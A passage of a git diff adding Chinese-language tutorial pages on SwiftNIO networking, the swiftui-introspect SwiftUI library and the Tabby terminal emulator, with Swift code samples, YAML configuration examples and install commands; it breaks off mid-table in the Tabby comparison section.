Handler +出站(写): socket ← Handler A ← Handler B ← 你的业务 Handler +``` + +- **入站(Inbound)**:数据从网络进来,从 pipeline **头**往**尾**传(例如:字节 → HTTP 解析 → 你的路由) +- **出站(Outbound)**:响应从**尾**往**头**传,最后写到 socket(例如:你的对象 → JSON 编码 → ByteBuffer) + +`ChannelInboundHandler` / `ChannelOutboundHandler` 是协议;实现时声明 `InboundIn`、`OutboundOut` 类型(底层几乎都是 `ByteBuffer`)。 + +类比:快递分拣中心——**入站**是卸货口依次扫码、拆包;**出站**是装车口依次打包、贴单。同一包裹经过不同工位,但顺序固定。 + +### 4. ByteBuffer + +网络读写的基本单位。`ByteBuffer` 是 **Copy-on-Write** 的字节容器,支持 `readSlice`、`getString`、`writeInteger` 等,避免 Swift `Array` 频繁拷贝。从 socket 读到的数据、要发出去的 HTTP 报文,在 NIO 层通常都是 `ByteBuffer`。 + +### 5. Bootstrap — 启动服务器的模板 + +- **`ServerBootstrap`**:监听端口,每接受一个客户端就创建一个子 Channel,并配置其 pipeline。 +- **`ClientBootstrap`**:主动连接远端,配置 pipeline 后发起连接。 + +常见链式配置:`.serverChannelOption`(监听 socket 选项)、`.childChannelInitializer`(每个连接要加哪些 Handler)、`.bind(host:port:)`。 + +### 6. EventLoopFuture 与 Promise + +异步操作的结果用 **`EventLoopFuture`** 表示(类似「稍后会有值的单子」)。**`EventLoopPromise`** 用来在将来某个时刻 `succeed` 或 `fail` 该 Future。 + +规则:**在创建 Future 的 EventLoop 上完成 Promise**;用 `.map`、`.flatMap` 链式组合,避免阻塞 `wait()`(测试代码除外)。 + +## 代码示例 + +### 示例 1:Echo TCP 服务器(经典入门) + +客户端发什么,服务器原样回显。展示 Bootstrap、Handler、ByteBuffer 的最小闭环: + +```swift +import NIOCore +import NIOPosix + +final class EchoHandler: ChannelInboundHandler { + typealias InboundIn = ByteBuffer + typealias OutboundOut = ByteBuffer + + func channelRead(context: ChannelHandlerContext, data: NIOAny) { + let input = unwrapInboundIn(data) + guard let message = input.getString(at: input.readerIndex, length: input.readableBytes) else { + return + } + var buffer = context.channel.allocator.buffer(capacity: message.utf8.count) + buffer.writeString(message) + context.write(wrapOutboundOut(buffer), promise: nil) + } + + func channelReadComplete(context: ChannelHandlerContext) { + context.flush() + } + + func errorCaught(context: ChannelHandlerContext, error: Error) { + print("error: \(error)") + context.close(promise: nil) + } +} + +@main +struct EchoServer { + static func main() throws { + let group = MultiThreadedEventLoopGroup(numberOfThreads: System.coreCount) + defer { try? group.syncShutdownGracefully() } + + let bootstrap = ServerBootstrap(group: group) + .serverChannelOption(ChannelOptions.backlog, value: 256) + .serverChannelOption(ChannelOptions.socketOption(.so_reuseaddr), value: 1) + .childChannelInitializer { channel in + channel.pipeline.addHandler(EchoHandler()) + } + + let channel = try bootstrap.bind(host: "127.0.0.1", port: 2048).wait() + print("Echo server on \(channel.localAddress!)") + try channel.closeFuture.wait() + } +} +``` + +**逐段理解**: + +- `EchoHandler.channelRead`:从 `NIOAny` 解包成 `ByteBuffer`,再写回出站——**还没有 `flush` 时数据可能在缓冲区**。 +- `channelReadComplete`:一批读事件结束后 `flush()`,把出站缓冲真正推到 socket。 +- `errorCaught`:NIO 约定——pipeline 里未处理的错误要在这里关闭连接,否则资源泄漏。 +- `defer { group.syncShutdownGracefully() }`:进程退出前优雅关掉所有 EventLoop 线程。 + +测试:终端 `nc 127.0.0.1 2048`,输入一行应原样返回。 + +### 示例 2:用 NIOAsyncChannel 的 echo(Swift 并发风格) + +SwiftNIO 2.60+ 提供 **`NIOAsyncChannel`**,用 `async/await` 读写 Channel,适合新代码与结构化并发: + +```swift +import NIOCore +import NIOPosix + +func runEchoServer() async throws { + let server = try await ServerBootstrap(group: MultiThreadedEventLoopGroup.singleton) + .bind(host: "0.0.0.0", port: 2048) { channel in + channel.eventLoop.makeCompletedFuture { + try NIOAsyncChannel( + wrappingChannelSynchronously: channel, + configuration: .init( + inboundType: ByteBuffer.self, + outboundType: ByteBuffer.self + ) + ) + } + } + .get() + + print("Listening on \(server.channel.localAddress!)") + + try await withThrowingDiscardingTaskGroup { group in + group.addTask { + while let client = try await server.inbound.next() { + group.addTask { + try await handleClient(client) + } + } + } + } +} + +func handleClient(_ client: NIOAsyncChannel) async throws { + try await client.executeThenClose { inbound, outbound in + for try await buffer in inbound { + try await outbound.write(buffer) + } + } +} +``` + +**和示例 1 的对比**: + +- 不再手写 `ChannelInboundHandler`,用 `for try await` 消费入站流。 +- 每个客户端可在独立 `Task` 里处理,但底层读写仍由 Channel 所属 EventLoop 驱动。 +- 适合与 Swift 6 并发模型结合;底层原理仍是 EventLoop + ByteBuffer。 + +### 示例 3:EmbeddedChannel 做无网络单元测试 + +不想起真端口时,用 `EmbeddedChannel` 在内存里模拟 pipeline: + +```swift +import NIOCore +import NIOEmbedded +import XCTest + +final class EchoHandlerTests: XCTestCase { + func testEcho() throws { + let channel = EmbeddedChannel() + try channel.pipeline.syncOperations.addHandler(EchoHandler()) + + var buffer = channel.allocator.buffer(capacity: 8) + buffer.writeString("hello") + try channel.writeInbound(buffer) + + var outbound: ByteBuffer = try channel.readOutbound()! + XCTAssertEqual(outbound.readString(length: outbound.readableBytes), "hello") + XCTAssertTrue(try channel.finish().isClean) + } +} +``` + +这是 NIO 生态的常规测试姿势:**协议 Handler 与真 socket 解耦**,CI 里跑得飞快。 + +## 与上层框架的关系 + +```mermaid +flowchart TB + subgraph app [应用层] + Vapor[Vapor / Hummingbird] + AHC[AsyncHTTPClient] + GRPC[grpc-swift] + end + subgraph nio [SwiftNIO] + HTTP[NIOHTTP1 / NIOWebSocket] + Core[NIOCore + NIOPosix] + end + subgraph os [操作系统] + Epoll[epoll / kqueue] + end + Vapor --> HTTP + AHC --> HTTP + GRPC --> Core + HTTP --> Core + Core --> Epoll +``` + +你写 REST API:**优先选上层框架**。只有以下情况才值得直接写 NIO: + +- 实现自定义 TCP/UDP 协议 +- 编写或调试 `ChannelHandler`(如 HTTP 升级、代理透传) +- 做性能敏感的网络中间件 +- 阅读 Vapor / postgres-nio 源码 + +## 常见坑与最佳实践 + +1. **不要在 EventLoop 上阻塞**:`sleep`、同步文件 IO、长时间 CPU 计算会卡住该 loop 上所有连接。耗时活丢到 `DispatchQueue` 或 `Task`,完成后再 `eventLoop.execute` 回来写 Channel。 + +2. **`ChannelHandlerContext` 不是线程安全的**:跨线程只能碰 `Channel`(或把闭包提交回正确 EventLoop)。官方 ChatServer 示例用 `DispatchQueue` 保护共享 `Dictionary` 就是典型模式。 + +3. **记得 `flush`**:出站 `write` 可能缓冲;`channelReadComplete` 或业务结束时调用 `context.flush()`。 + +4. **生产环境优雅关闭**:`serverChannel.close()` + `group.shutdownGracefully()`,让在途请求收尾,避免 RST 风暴。 + +5. **版本与 Swift 对齐**:当前 2.x 要求 Swift 6.0+(见 README 版本表);升级 NIO 时连同 `swift-nio-ssl` 等卫星库一起看。 + +## 学习路径建议 + +| 阶段 | 做什么 | 目标 | +|------|--------|------| +| 1 | 跑通 Echo 服务器 + `nc` 客户端 | 理解 Bootstrap、Handler、ByteBuffer | +| 2 | 读 `NIOChatServer` 示例(按行分包、广播) | 理解多 Channel、pipeline 组合 | +| 3 | 用 `EmbeddedChannel` 为 Handler 写测试 | 不依赖网络的 TDD | +| 4 | 接一个 `NIOHTTP1` pipeline 或转去 Vapor 教程 | 理解 HTTP 只是 pipeline 上多几节 Handler | +| 5 | 读 AsyncHTTPClient / Vapor 如何 bootstrap NIO | 把「底层砖」和「日常开发」接上 | + +官方资源: + +- [Conceptual Overview(README)](https://github.com/apple/swift-nio/blob/main/README.md) +- 仓库内 `Sources/NIOEchoServer`、`Sources/NIOChatServer` 可运行示例 +- Swift on Server:[Using SwiftNIO – Channels](https://swiftonserver.com/using-swiftnio-channels/) + +## 小结 + +SwiftNIO 用**少量 EventLoop + 非阻塞 I/O + Pipeline 式协议栈**,让 Swift 在服务端也能做出 Netty 级别的高并发网络程序。核心记八件事:**EventLoopGroup、EventLoop、Channel、Pipeline、Handler、ByteBuffer、Future/Promise、Bootstrap**。上层框架负责「网站长什么样」,SwiftNIO 负责「字节怎么高效、安全地在内核与你的代码之间流动」。零基础不必一次精通全部 Handler API——先 Echo、再测试、再 HTTP,路径最清晰。 diff --git a/src/content/docs/projects/swiftui-introspect.md b/src/content/docs/projects/swiftui-introspect.md new file mode 100644 index 000000000..41481619a --- /dev/null +++ b/src/content/docs/projects/swiftui-introspect.md @@ -0,0 +1,287 @@ +--- +title: swiftui-introspect — 从 SwiftUI 视图「透视」到底层 UIKit / AppKit +来源: https://github.com/siteline/SwiftUI-Introspect +日期: 2026-06-13 +子分类: 移动端 +分类: 后端 API +provenance: pipeline-v3 +--- + +## 是什么 + +**swiftui-introspect**(Swift Package 名 `SwiftUIIntrospect`)是 Siteline 维护的开源库,让你在 SwiftUI 声明式界面里,**安全地拿到**某个 SwiftUI 控件背后真实的 `UIView` / `UIViewController`(或 macOS 上的 `NSView` / `NSViewController`),从而调用 SwiftUI 尚未暴露的 UIKit / AppKit API。 + +日常类比: + +- SwiftUI 像一家**精装样板房**:墙、灯、柜子都装好了,住户只能按开发商给的开关调色温,不能自己改墙里走的线。 +- UIKit / AppKit 是**毛坯房里的水电工位**:`UIScrollView` 的 `bounces`、`UITableView` 的分隔线、`UINavigationBar` 的背景,`UITextField` 的 `clearButtonMode` 等细粒度旋钮都在这里。 +- **Introspect** 则像带**内窥镜的装修师傅**:不砸墙(不用私有 API),在样板房表面贴两个看不见的标记点,顺着标记之间的「视图树通道」找到真正的水电箱,帮你拧一下旋钮——SwiftUI 外壳还在,底层行为按你的需求微调。 + +仓库:[siteline/swiftui-introspect](https://github.com/siteline/SwiftUI-Introspect)(原 `SwiftUI-Introspect`,现统一小写)。Apache-2.0,Swift Package Index 上活跃维护,1.0 起 API 稳定、面向生产。 + +最小接入(Swift Package Manager): + +```swift +// Package.swift +dependencies: [ + .package(url: "https://github.com/siteline/swiftui-introspect", from: "27.0.0-beta"), +], +targets: [ + .target(name: "MyApp", dependencies: [ + .product(name: "SwiftUIIntrospect", package: "swiftui-introspect"), + ]), +] +``` + +视图里 `import SwiftUIIntrospect`,在目标视图上链式调用 `.introspect(...)` 即可。 + +## 为什么重要 + +零基础学 SwiftUI 时,常见挫败来自「文档里没这个 modifier」: + +| 你想做的事 | SwiftUI 原生 | Introspect 的补位 | +|------------|--------------|-------------------| +| 关掉 `ScrollView` 橡皮筋回弹 | 无直接 API(iOS 17 前尤其明显) | 拿到 `UIScrollView`,设 `bounces = false` | +| 改 `List` 分隔线、背景、section 间距 | 有限 | iOS 15 及以前走 `UITableView`;iOS 16+ 常是 `UICollectionView` | +| 定制导航栏、TabBar 外观 | `toolbar` / `tint` 能覆盖一部分 | 直接改 `UINavigationController` / `UITabBarController` | +| `TextField` 清除按钮、键盘 return 键类型 | 部分支持 | `UITextField` 全量属性 | +| 在 SwiftUI 里做复杂转场、自定义键盘 | 困难 | 社区库(如 PopupView、swiftui-navigation-transitions)多建立在 Introspect 之上 | + +需要清醒认识:**Introspect 是桥,不是终点**。Apple 持续给 SwiftUI 补 modifier;库作者也声明项目趋于「完成态」——随 SwiftUI 成熟,内窥需求会慢慢减少。但在今天,它仍是大量生产 App 和 UI 库填补能力缺口时的**事实标准方案**。 + +## 工作原理(核心机制) + +Introspect **不**使用私有 API,也不假设固定的子视图层级。流程可以记成四步: + +1. **标记**:在你要 introspect 的 SwiftUI 视图**上方**插入不可见的 `IntrospectionView`(overlay),**下方**插入不可见的 anchor(background)。 +2. **等待入树**:`UIViewRepresentable` 的 `updateUIView` 调用时,视图可能尚未挂到 window;库用 `DispatchQueue.main.async` 等到 runloop 把标记视图插入层级后再查找。 +3. **遍历**:在两个标记之间的 UIKit 子树里**广度/深度搜索**,直到找到目标类型(如 `UIScrollView`);找不到则**静默跳过**,不 force cast、不崩溃。 +4. **定制**:在闭包里对找到的实例执行你的 UIKit 代码;视图更新时闭包**可能多次执行**,定制逻辑必须幂等。 + +```text + [IntrospectionView] ← 上标记(hidden, 不参与交互) + │ + SwiftUI 托管的 ScrollView 区域 + │ + [IntrospectionAnchor] ← 下标记 + ↓ + 遍历中间子视图 → 发现 UIScrollView → customize(scrollView) +``` + +### 默认 scope:receiver vs ancestor + +- **默认**:`.introspect` 修饰在**谁**身上,就 introspect **谁**对应的底层视图。写在 `ScrollView { ... }` **外面**有效;写在 `ScrollView` **内部子视图**上默认**无效**。 +- **`scope: .ancestor`**:从子视图向上找祖先里的 `UIScrollView` 等——仅在你无法把 modifier 挂在外层时使用。 + +### 必须显式声明系统版本 + +`.introspect(.scrollView, on: .iOS(.v17, .v18, .v26, .v27))` 里的版本列表是**有意设计**:大版本升级时 Apple 可能把 `List` 从 `UITableView` 换成 `UICollectionView`,不声明版本会导致闭包不执行或类型不对。升级 Xcode / 部署目标后,要**对照 README 补新版本号**并真机回归。 + +## 核心概念 + +### 1. `IntrospectableViewType` — 「查哪种控件」 + +`.introspect` 第一个参数不是字符串,而是类型安全的描述符,例如 `.scrollView`、`.textField`、`.list`、`.navigationView(style: .stack)`。同一 SwiftUI 概念在不同 style / OS 下可能映射不同 UIKit 类,所以要分开声明。 + +### 2. `on:` — 平台与版本谓词 + +`on: .iOS(.v17, .v18, .v26, .v27)` 表示仅在列出的 iOS 版本上启用该查找逻辑。macOS 用 `.macOS(...)`,tvOS / visionOS 有对应枚举。Advanced SPI 支持 `.iOS(.v13...)` 范围(库作者用,App 慎用)。 + +### 3. `customize` 闭包 — 幂等的 UIKit 补丁 + +闭包在布局更新、状态变化时可能反复调用。应: + +- 避免在闭包里直接改 `@State`(若必须,用 `DispatchQueue.main.async` 包一层); +- 避免强引用 `self` 造成循环引用; +- 不要把 introspect 到的对象塞进 `@State`(用 Advanced 的 `@Weak`)。 + +### 4. 能 introspect 与不能 introspect + +**已实现**(节选):`ScrollView`、`List`(多种 style)、`TextField`、`TextEditor`、`Toggle`、`TabView`、`NavigationStack` / `NavigationView`、`Form`、`Sheet`、`WebView` 等——完整列表见 [官方 README View Types](https://github.com/siteline/swiftui-introspect#view-types)。 + +**无法实现**(无独立底层视图):`Text`、`Image`、`HStack` / `VStack`、`Spacer`、`Divider`、`Color`、`ForEach`、`GeometryReader` 等——它们不是「一个 UILabel」,没有可钩的单一 UIKit 对象。 + +### 5. 与旧版 `Introspect` 模块的关系 + +仓库曾同时包含旧模块 `Introspect` 与新模块 `SwiftUIIntrospect`。1.0 起推荐**只用** `SwiftUIIntrospect`:API 更稳定、scope 语义更清晰。迁移时重点检查 modifier 挂载位置与 `on:` 版本列表。 + +## 安装与项目接入 + +```swift +import SwiftUI +import SwiftUIIntrospect + +struct ContentView: View { + var body: some View { + ScrollView { + Text("Hello") + } + .introspect(.scrollView, on: .iOS(.v17, .v18, .v26, .v27)) { scrollView in + scrollView.bounces = false + scrollView.alwaysBounceVertical = false + } + } +} +``` + +CocoaPods 用户可搜 `SwiftUIIntrospect` pod;新工程优先 SPM。 + +**库作者依赖版本**:README 建议范围跨度至少覆盖**最近两个 major**,例如 `"26.0.0"..<"28.0.0-beta"`,减少与应用直接依赖时的版本冲突。 + +## 代码示例 + +### 示例 1:List — 关回弹 + 按系统版本分支 + +iOS 15 及以前 `List` 底层是 `UITableView`;iOS 16+ 常见实现为 `UICollectionView`。Introspect 要求你**分开写**: + +```swift +import SwiftUI +import SwiftUIIntrospect + +struct FeedView: View { + let items = ["新闻", "关注", "推荐"] + + var body: some View { + List(items, id: \.self) { item in + Text(item) + } + .listStyle(.insetGrouped) + // iOS 13–15:UITableView + .introspect(.list, on: .iOS(.v13, .v14, .v15)) { tableView in + tableView.bounces = false + tableView.separatorInset = UIEdgeInsets(top: 0, left: 16, bottom: 0, right: 16) + } + // iOS 16+:UICollectionView(List 新实现) + .introspect(.list, on: .iOS(.v16, .v17, .v18, .v26, .v27)) { collectionView in + collectionView.bounces = false + collectionView.backgroundColor = .systemGroupedBackground + } + } +} +``` + +要点:两个 `.introspect` 可链在同一视图上;只有当前 OS 命中 `on:` 的那一个会执行。 + +### 示例 2:TextField + NavigationView — 输入框与导航栏细调 + +```swift +import SwiftUI +import SwiftUIIntrospect + +struct LoginView: View { + @State private var email = "" + @State private var password = "" + + var body: some View { + NavigationView { + Form { + TextField("邮箱", text: $email) + .textContentType(.emailAddress) + .keyboardType(.emailAddress) + .introspect(.textField, on: .iOS(.v17, .v18, .v26, .v27)) { textField in + textField.clearButtonMode = .whileEditing + textField.autocapitalizationType = .none + } + + SecureField("密码", text: $password) + .introspect(.secureField, on: .iOS(.v17, .v18, .v26, .v27)) { textField in + textField.textContentType = .password + } + } + .navigationTitle("登录") + } + .navigationViewStyle(.stack) + .introspect(.navigationView(style: .stack), on: .iOS(.v17, .v18, .v26, .v27)) { nav in + let appearance = UINavigationBarAppearance() + appearance.configureWithOpaqueBackground() + appearance.backgroundColor = UIColor.systemBackground + nav.navigationBar.standardAppearance = appearance + nav.navigationBar.scrollEdgeAppearance = appearance + } + } +} +``` + +`TextField` 的 modifier 挂在 **TextField 自身**(receiver scope);`NavigationView` 的 introspect 挂在外层并指定 `style: .stack`,与 `.navigationViewStyle(.stack)` 一致。 + +### 示例 3:子视图内找祖先 ScrollView(`scope: .ancestor`) + +当你无法把 modifier 写在 `ScrollView` 外壳上时: + +```swift +ScrollView { + Text("Item 1") + .introspect( + .scrollView, + on: .iOS(.v17, .v18, .v26, .v27), + scope: .ancestor + ) { scrollView in + scrollView.keyboardDismissMode = .onDrag + } +} +``` + +仅在确有需要时使用 `ancestor`;多数场景把 `.introspect` 放在 `ScrollView` 闭包外更清晰。 + +## 使用准则(官方 General Guidelines 浓缩) + +1. **能不用就不用**:先查 SwiftUI 是否有新 modifier(如 iOS 16+ `scrollBounceBehavior`)。 +2. **闭包幂等**:多次调用结果一致,避免重复添加 subview / observer。 +3. **别在闭包里同步改 SwiftUI 状态**。 +4. **跨 OS 真机测**:模拟器不够时,用 TestFlight 覆盖目标版本。 +5. **大版本升级检查 README**:补 `.v26`、`.v27` 等条目,并跑 UI 回归。 + +## Advanced SPI(进阶,可选) + +`@_spi(Advanced) import SwiftUIIntrospect` 可解锁: + +- **自定义 IntrospectableViewType**(库未覆盖的控件); +- **版本范围** `.iOS(.v13...)`(面向库作者的未来证明); +- **`@Weak var scrollView: UIScrollView?`** 在闭包外弱引用底层对象,避免 `@State` 循环引用。 + +App 业务代码 90% 场景不需要 SPI。 + +## 生态与相关项目 + +基于 Introspect 的社区库(README 列举): + +- [CustomKeyboardKit](https://github.com/paescebu/CustomKeyboardKit) — 自定义键盘 +- [swiftui-navigation-transitions](https://github.com/davdroman/swiftui-navigation-transitions) — 导航转场 +- [PopupView](https://github.com/exyte/PopupView) — 弹层 + +同仓库还可对比学习 [[monaco-editor]] 式「宿主 + 内层引擎」分工:SwiftUI 是宿主,UIKit 是引擎;Introspect 是两者之间的**合法检修口**。 + +## 常见坑 + +| 现象 | 可能原因 | 处理 | +|------|----------|------| +| 闭包从不执行 | `on:` 未包含当前 OS;或 modifier 挂在错误 scope | 补版本号;移到 receiver 或设 `scope: .ancestor` | +| 升级 iOS 后样式失效 | `List` 底层从 Table 变 Collection | 为新版单独写 `.introspect` | +| 内存涨 | 闭包强引用 VC;或用 `@State` 存 UIScrollView | `[weak self]` + `@Weak` | +| App Store 拒审担忧 | 误以为私有 API | 官方说明仅用公开层级遍历;仍建议少而精 | +| `Text` / `Button` 无效 | 本来就没有独立 UILabel / UIButton | 换 `TextField` 或自定义 `UIViewRepresentable` | + +## 与替代方案怎么选 + +```text +需求 更合适的路线 +──────────────────────────────────────────────────── +只要改颜色/字体 SwiftUI modifier + Asset Catalog +要完全自定义控件 UIViewRepresentable / UIViewControllerRepresentable +偶尔补系统控件缺口 swiftui-introspect(本库) +整页 UIKit 遗留 整页 UIHostingController 反向嵌入或纯 UIKit +``` + +`UIViewRepresentable` 是「自己带一台发动机」;Introspect 是「在苹果发动机上拧螺丝」。前者更重、更稳;后者更轻、更依赖 Apple 内部实现不变。 + +## 学习路径建议 + +1. 先熟练 SwiftUI 布局与状态(`@State`、`List`、`ScrollView`),明确**缺哪条 API**。 +2. 读 README 的 [View Types](https://github.com/siteline/swiftui-introspect#view-types),确认目标在「已实现」列表里。 +3. 从 `ScrollView` / `TextField` 练手,再碰 `List` 双分支和 `NavigationView`。 +4. 每升一个 deployment target,把 `on:` 与真机截图存档进 CI 或手工 checklist。 +5. 关注 SwiftUI Release Notes:原生 modifier 能替代时,删掉 introspect 分支,减少技术债。 + +## 小结 + +**swiftui-introspect** 用「双标记 + 视图树搜索」在 SwiftUI 与 UIKit / AppKit 之间架起**类型安全、无私有 API、失败静默**的桥。记住三件事即可上手:**modifier 挂对接收者**、**按 OS 版本写 `on:`**、**定制闭包要幂等**。它是填补 SwiftUI 能力空窗的实用工具,而不是替代 SwiftUI 的第二套 UI 框架;随系统演进,宜少不宜多,用毕有原生方案时及时收敛。 diff --git a/src/content/docs/projects/tabby-terminal.md b/src/content/docs/projects/tabby-terminal.md new file mode 100644 index 000000000..3de897137 --- /dev/null +++ b/src/content/docs/projects/tabby-terminal.md @@ -0,0 +1,218 @@ +--- +title: Tabby Terminal — 把终端、SSH 与串口捏进一个可扩展壳 +来源: 'Eugeny, "Tabby", https://github.com/Eugeny/tabby' +日期: 2026-06-13 +子分类: 命令行工具 +分类: CLI +provenance: pipeline-v3 +--- + +## 是什么 + +Tabby(前身 **Terminus**)是一款跨平台(Windows / macOS / Linux)的**终端模拟器 + SSH 客户端 + 串口终端**,用 Electron + Angular 写成,底层终端渲染基于 **XTerm.js**。日常类比: + +> 以前你运维一台服务器,桌面上要摆三样东西:系统自带黑窗口跑本地命令、PuTTY 记 SSH 密码和跳板、SecureCRT 偶尔连串口调交换机。 +> Tabby 像一间**带前台登记处的联合办公区**——本地 Shell、远程 SSH、串口会话都开成标签页,连接信息存在同一套 Profile 里,分屏、主题、快捷键一次配好到处用。 + +它不是新 Shell,也不是 MinGW/Cygwin 替代品;官方也明说**不是轻量选手**——若你追求几十 MB 内存占用,应看 [Alacritty](https://github.com/alacritty/alacritty) 或 Windows Terminal。Tabby 换的是**功能密度与可配置性**:内置连接管理、Vault 加密凭据、插件市场、Quake 模式侧栏、进程完成通知等。 + +## 为什么重要 + +不理解 Tabby 的定位,下面这些事容易选错工具或配错文件: + +- **Windows 用户告别「PuTTY + CMD」双开**:同一窗口里 WSL、PowerShell、Git-Bash、SSH 会话 Tab 切换,字体连字与 True Color 开箱即用 +- **SSH 不止于 `ssh user@host`**:Jump Host 自动链、端口转发预配置、Agent 转发、登录脚本、Zmodem 传文件——这些在 Tabby 里是连接 Profile 的一级公民,不必再维护一份平行 `~/.ssh/config`(当然两者可以并存) +- **配置即代码**:`config.yaml` 可版本管理;旁边还可放 `ssh-profiles.yaml` 批量导入静态 SSH 列表(类似 iTerm2 Dynamic Profiles) +- **插件架构**:连接类型(SSH / Local / Serial / Telnet)本身就是插件;社区还有 Docker 进容器、MCP Server 接 Cursor、配置同步到 Gist 等扩展 +- **与作者生态联动**:Tabby 作者还维护 [Warpgate](https://github.com/warp-tech/warpgate)(智能 SSH/HTTP bastion),有 `web-auth-handler` 插件专门对接浏览器内认证 + +## 核心要点 + +Tabby 可以拆成四层理解: + +### 1. 终端引擎(XTerm.js) + +负责 VT220 及扩展仿真:24 位真彩色、Bracketed Paste、多行粘贴警告、连字(ligatures)、Nerd Fonts、高速输出不卡顿。日常类比:这是**显示屏**——不管你后面接的是本机 bash 还是远端 sshd,画面规则一致。 + +### 2. 连接类型(Connection Plugins) + +| 类型 | 典型用途 | 亮点 | +|------|----------|------| +| **Local** | 本机 Shell | PowerShell / WSL / zsh / fish;可检测当前工作目录 | +| **SSH** | 远程服务器 | Jump Host、X11、端口转发、登录脚本、Zmodem | +| **Serial** | 路由器、嵌入式 | 十六进制收发、换行转换、自动重连 | +| **Telnet** | 老旧设备 | 与 SSH 共用连接管理器 UI | + +每种连接保存为 **Profile**,可绑定快捷键一键打开。 + +### 3. 工作区 UI + +- **标签页**:可置顶/置底/置侧;崩溃或误关后可恢复会话状态 +- **分屏(Split Panes)**:嵌套拆分,布局可存成 Profile +- **Quake 模式**:全局热键从屏幕边缘滑出,类似游戏里按 `` ` `` 呼出控制台 +- **进度检测**:编译、下载等任务跑完可系统通知 + +### 4. 配置与 Vault + +主配置文件位置(因平台而异): + +| 平台 | 路径 | +|------|------| +| Linux | `~/.config/tabby/config.yaml` | +| macOS | `~/Library/Application Support/tabby/config.yaml` | +| Windows | `%APPDATA%\tabby\config.yaml` | + +**Vault** 是写在 `config.yaml` 里的加密容器,用你设的口令解锁;迁移机器时复制整个配置目录即可带走加密后的凭据(需记得同一 Vault 密码)。若把密码交给 macOS Keychain,则还需单独迁移钥匙串。 + +同目录下可放 **`ssh-profiles.yaml`**,与 GUI 里建的 SSH Profile 字段一致,适合 Git 管理服务器清单(密钥路径仍建议用本机映射,可配合 `ssh-keymap` 插件)。 + +## 实践案例 + +### 案例 1:用 `config.yaml` 定义本地开发 Shell Profile + +在设置里改外观会写回 YAML;也可以直接编辑文件(**先退出 Tabby 或接受 GUI 覆盖风险**): + +```yaml +# ~/.config/tabby/config.yaml(片段) +terminal: + font: JetBrains Mono + fontSize: 13 + ligatures: true + copyOnSelect: true + bracketedPaste: true + scrollback: 50000 + +profiles: + - type: local + name: Dev — zsh + group: Local + options: + command: /bin/zsh + args: ['-l'] + cwd: /Users/you/projects + env: + EDITOR: nvim + terminalColorScheme: + name: Catppuccin Mocha +``` + +**逐段解释**: + +- `terminal` 段是**全局默认**——字体、滚动缓冲区、选中即复制等行为 +- `profiles` 里 `type: local` 表示本机 Shell;`cwd` 让每次打开落在固定项目根目录 +- `terminalColorScheme` 可引用已安装主题插件里的配色名 + +### 案例 2:用 `ssh-profiles.yaml` 批量导入 SSH 连接 + +在 `config.yaml` **同级目录**创建 `ssh-profiles.yaml`(Tabby 启动时自动合并): + +```yaml +# ~/.config/tabby/ssh-profiles.yaml +- name: prod-web-01 + group: Production + options: + host: 10.0.1.11 + port: 22 + user: deploy + weight: 10 + +- name: staging via bastion + group: Staging + options: + host: 10.0.2.50 + user: ubuntu + jumpHost: bastion.example.com + jumpHostUser: jumpuser + agentForward: true + forwardPorts: + - name: grafana + host: 127.0.0.1 + port: 3000 + targetHost: 127.0.0.1 + targetPort: 3000 +``` + +**要点**: + +- `jumpHost` 不必手写 `ProxyJump`——Tabby SSH 插件会组链 +- `forwardPorts` 把常用隧道写进 Profile,点连接即自动建立本地端口转发 +- 在 UI 里新建测试 Profile 后,从 `config.yaml` 里**复制 `options` 块**是查字段名的最快办法 + +### 案例 3:Quake 模式与分屏快捷键(YAML 片段) + +```yaml +hotkeys: + toggle-window: + - Ctrl-Shift-` + split-horizontal: + - Ctrl-Shift-D + split-vertical: + - Ctrl-Shift-E + focus-pane-up: + - Ctrl-Alt-Up + focus-pane-down: + - Ctrl-Alt-Down + +enableQuakeMode: true +quakeMode: + animationDuration: 200 + hideOnBlur: true +``` + +按 `Ctrl-Shift-`` ` 从屏幕边缘唤出/隐藏 Tabby,适合「偶尔敲一条命令」而不占常驻窗口。分屏后配合 `focus-pane-*` 热键在 pane 间跳转,多数场景**不必再开 tmux**(重度远端持久会话除外)。 + +### 案例 4:安装插件扩展工作流 + +设置 → **Plugins** 可搜索安装,例如: + +- **quick-cmds**:向当前或全部标签广播预设命令(批量 `git pull`) +- **save-output**:把终端输出落盘,方便留审计日志 +- **sync-config**:把 `config.yaml` 同步到 Gist / Gitee(注意 Vault 与密钥路径) +- **mcp-server**:让 Cursor / Windsurf 通过 MCP 驱动 Tabby 会话 + +插件本质是 npm 包,Tabby 动态加载;开发自定义插件见官方 [API 文档](https://docs.tabby.sh/)。 + +## 安装速查 + +```bash +# macOS(Homebrew) +brew install --cask tabby + +# Debian/Ubuntu(官方仓库,见 packagecloud 说明) +# curl 安装脚本后 apt install tabby-terminal + +# 任意平台:GitHub Releases 下载 .dmg / .exe / .AppImage +# https://github.com/Eugeny/tabby/releases/latest +``` + +Windows **便携版**:在 `Tabby.exe` 旁新建 `data` 文件夹,配置与插件数据会写在目录内,适合 U 盘携带。 + +## 踩过的坑 + +1. **GUI 与手写 YAML 互相覆盖**:在设置面板点保存会整文件写回;想 Git 管理配置时,约定「只改 YAML」或改完重启 Tabby,避免两边同时编辑。 +2. **Vault 密码遗忘 = 凭据全丢**:Vault 加密块无法暴力恢复;迁移前用备份口令解锁验证一次。 +3. **SSH 私钥路径跨机不一致**:笔记本与台式机用户名不同,`IdentityFile` 绝对路径会失效;用 **ssh-keymap** 插件把逻辑名映射到本机路径。 +4. **个别版本 GUI 保存 SSH Profile 失败**:社区反馈过 v1.0.231 附近「复制 Profile 后点 Save 无反应」;可临时直接编辑 `config.yaml`,或降到修复版本(issue #11188)。 +5. **内存占用**:Electron 底座 + 多标签 + 大 scrollback 会显著吃 RAM;开发机 16GB 以上较舒适,低配机请减小 `scrollback` 或选 Alacritty。 +6. **与系统 OpenSSH 配置关系**:Tabby 自带 SSH 栈,不强制读 `~/.ssh/config`;复杂 `Match` 规则若以 Tabby 为主,建议在 Profile 里显式写 `jumpHost` / `forwardPorts`,避免「命令行能连、Tabby 不能」的双轨困惑。 + +## 与其他终端怎么选 + +| 工具 | 定位 | 何时选 Tabby | 何时不选 | +|------|------|--------------|----------| +| **Windows Terminal** | 系统级轻量多标签 | 要内置 SSH 管理、串口、Vault | 只要本机 Shell、要微软官方集成 | +| **iTerm2** | macOS 老牌 | 要跨平台同一套 UI + SSH | 仅 macOS、已深度投资 iTerm 配置 | +| **PuTTY** | Windows SSH 经典 | 要现代 UI、True Color、插件 | 